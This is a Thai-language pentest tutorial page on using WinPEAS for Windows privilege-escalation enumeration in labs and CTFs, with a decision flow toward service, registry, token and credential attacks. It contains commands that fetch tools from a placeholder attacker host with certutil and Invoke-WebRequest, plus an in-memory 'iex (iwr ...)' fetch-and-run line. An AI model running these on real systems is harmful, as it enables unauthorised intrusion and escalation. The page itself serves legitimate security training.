คลัง
windows-privesc

WinPEAS

WinPEAS เป็น script enumeration อัตโนมัติสำหรับ Windows privilege escalation — สแกนระบบทุกด้านแล้ว highlight ช่องทาง privesc ด้วยสี บทนี้ลงลึกการรัน (exe/bat/ps1), การอ่านผลตามสี, ส่วนที่ต้องดู, การส่งไฟล์เข้าเป้าหมาย และการใช้คู่ manual/อื่น (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

BeginnerIntermediate#winpeas#windows#privesc#automated#peass#enumeration#ctf

1. WinPEAS คืออะไร

WinPEAS (ในชุด PEASS-ng) รัน enumeration ครบทุกด้านบน Windows อัตโนมัติ — system info, service ที่ตั้งผิด, registry, scheduled task, credential ที่เก็บไว้, token privileges, software เก่า — แล้ว highlight ด้วยสีตามความน่าจะเป็นที่ใช้ privesc ได้ ประหยัดเวลามากเทียบ manual

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น
Windows privesc — ลำดับที่ควรไล่
ได้ shell บน Windows
enumeration อัตโนมัติ
รัน WinPEAS แล้วไล่ผลแดงพื้นเหลืองก่อน
whoami /priv
ดู token privileges
SeImpersonatePotato attacks → SYSTEM
SeBackup/SeDebugdump SAM / inject
service ตั้งค่าผิด
accesschk: binPath/binary เขียนได้?
แก้ service ได้Service Abuse → SYSTEM
path มีช่องว่างUnquoted Service Path
registry / scheduled task / DLL
AlwaysInstallElevated=1MSI → SYSTEM
DLL ที่ขาด+เขียนได้DLL Hijacking
ได้ SYSTEM / Administrator

2. อ่านผลตามสี

สีความหมาย
แดงพื้นหลัง/เหลือง (Red on Yellow)พบช่องโหว่/น่าสนใจสูงสุด — ดูก่อน!
แดง (Red)น่าสนใจ ควรตรวจ
เขียว (Green)ปกติ/พบทั่วไป
ฟ้า (Blue)ข้อมูลทั่วไป
โฟกัสที่ แดงพื้นเหลือง ก่อน — เป็นสิ่งที่ WinPEAS เน้นว่าน่าจะ privesc ได้; รันด้วยพารามิเตอร์เต็มเพื่อ scan ละเอียด

3. การรัน

ส่งเข้าเป้าหมาย + รัน (exe/bat/ps1)Windows
# ส่งไฟล์เข้าเป้าหมาย (จากเครื่องเรา python3 -m http.server 80)
# PowerShell download:
powershell -c "Invoke-WebRequest -Uri http://ATTACKER_IP/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe"
# certutil:
certutil -urlcache -f http://ATTACKER_IP/winPEASx64.exe wp.exe

# รัน exe (เวอร์ชันหลัก)
.\winPEASx64.exe

# scan ละเอียด + log
.\winPEASx64.exe log
.\winPEASx64.exe quiet cmd fast       # โหมดเร็ว

# เวอร์ชัน .bat (ถ้ารัน exe ไม่ได้)
winPEAS.bat

# in-memory ผ่าน PowerShell (ไม่แตะ disk)
iex (iwr http://ATTACKER_IP/winPEAS.ps1 -UseBasicParsing)
มี exe/bat/ps1; certutil/IWR ส่งไฟล์; .ps1 รัน in-memory ไม่แตะ disk (เนียนกว่า)

4. ส่วนผลที่ต้องดู

  • Service info: unquoted path, weak permission, modifiable service (ดู Win Services/Unquoted)
  • Registry: AlwaysInstallElevated, autorun, weak reg permission
  • Scheduled Tasks: task ที่รันเป็น SYSTEM ที่เราแก้ได้
  • Credentials: stored creds, Credential Manager, unattend.xml, registry passwords
  • Token privileges: SeImpersonate/SeDebug (ดู Token Abuse)
  • Applied/known exploits: patch ที่ขาด (สำหรับ kernel/MS exploit)
  • Network/installed software: service เก่า, port internal

5. Quick Reference

  • enumeration อัตโนมัติ Windows — highlight privesc ด้วยสี
  • สี: แดงพื้นเหลือง = น่าสนใจสุด (ดูก่อน)
  • ส่ง: certutil -urlcache -f http://IP/wp.exe wp.exe
  • รัน: .\winPEASx64.exe (log/quiet); .ps1 in-memory
  • ดู: service/registry/scheduled task/credential/token privilege
  • ใช้คู่ manual + เครื่องมืออื่น (PowerUp/Seatbelt)

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเพิ่งได้ shell แรกบน Windows เป้าหมาย ยังไม่รู้จะไปทางไหน มีแค่ Kali ทำตามนี้ทีละขั้นเพื่อให้ winPEAS พาไปหาช่องทาง privesc

  1. 1เปิด http server บน Kali เพื่อส่งไฟล์: python3 -m http.server 80 (รันในโฟลเดอร์ที่มี winPEASx64.exe — ดาวน์โหลดจาก GitHub release ของ PEASS-ng ถ้ายังไม่มี)
  2. 2บนเป้าหมาย ดาวน์โหลดเข้ามา: certutil -urlcache -f http:///winPEASx64.exe wp.exe
  3. 3รันแบบเร็วก่อน: .\wp.exe quiet cmd fast แล้วดูบรรทัดแดงพื้นเหลืองเป็นอันดับแรก
  4. 4ถ้าอยากได้ log เต็มเก็บไว้อ่าน: .\wp.exe log แล้วดึงไฟล์ log กลับมาอ่านบน Kali
  5. 5ไล่อ่านผลตามหมวด: Services → Registry → Scheduled Tasks → Credentials → Token privileges
  6. 6เจอ misconfig หมวดไหนก่อน ให้ตามไปหัวข้อนั้นทันที อย่าไล่ทุกหมวดถ้าเจอทางที่ชัดแล้ว
  7. 7ถ้าหมวด service ขึ้นแดง (weak permission/unquoted path) → ไปที่ Win Services หรือ Unquoted Service Path
  8. 8ถ้าหมวด registry ขึ้น AlwaysInstallElevated=1 → ไปที่ AlwaysInstallElevated
  9. 9ถ้าหมวด token privileges มี SeImpersonate/SeDebug → ไปที่ Token Abuse
  10. 10ถ้าหมวด credentials เจอ password ที่เก็บไว้ → ไปที่ Credential Dumping ต่อด้วย Pass-the-Hash
  11. 11ถ้าไล่ทุกหมวดแล้วไม่เจอไรเลย (สีเขียว/ฟ้าล้วน) ให้ลองรันแบบเต็ม .\wp.exe ไม่ใส่ quiet/fast เผื่อพลาดบางจุด
  12. 12ถ้ายังไม่เจอจริงๆ ให้ตรวจ manual เพิ่มด้วย PowerUp/Seatbelt หรือดู kernel exploit ที่ตรงกับ patch level
ตัดสินใจ: winPEAS พาไปทางไหน
ส่ง winPEASx64.exe เข้าเป้าหมายแล้วรัน quiet cmd fast
เจอบรรทัดแดงพื้นเหลืองไหม?
❌ ไม่เจอเลย→ รันแบบเต็มไม่ใส่ fast/quiet ลองใหม่
✅ เจอ→ ดูว่าเป็นหมวดไหน
หมวดไหนขึ้นแดง?
service misconfig→ ไป Win Services
unquoted path→ ไป Unquoted Service Path
registry (AlwaysInstallElevated/autorun)→ ไป Registry
token privilege (SeImpersonate/SeDebug)→ ไป Token Abuse
credential ที่เก็บไว้→ ไป Credential Dumping / Pass-the-Hash
รัน .\wp.exe เต็มรูปแบบ (ไม่ fast) ไล่ทุกหมวดเอง
ยังไม่เจอจริงๆ → ลอง manual ด้วย PowerUp/Seatbelt หรือเช็ค kernel exploit
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ส่งไฟล์เข้าเป้าหมายpython3 -m http.server--
ดาวน์โหลดฝั่งเป้าหมายcertutil / powershell IWR-github.com/peass-ng/PEASS-ng/releases
enum อัตโนมัติหลักwinPEAS--
enum เสริม (privesc checklist)PowerUp.ps1 / Seatbeltgit clone PowerUp / Seatbelt-
เปิด reverse shell สำรองnc / msfvenom-revshells.com
หา LOLBin ที่ใช้ execute/ดาวน์โหลด--lolbas-project.github.io
ค้น exploit/CVE เพิ่มเติมตาม patch levelsearchsploit-exploit-db.com
🚑 ถ้าตันสนิท ลองท่าถัดไปตามหมวดที่ winPEAS เตือน: Win Services, Unquoted Service Path, Registry, AlwaysInstallElevated, Token Abuse, หรือ Credential Dumping ต่อด้วย Pass-the-Hash — เลือกตามหมวดที่ขึ้นแดงจริง อย่าเดา

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้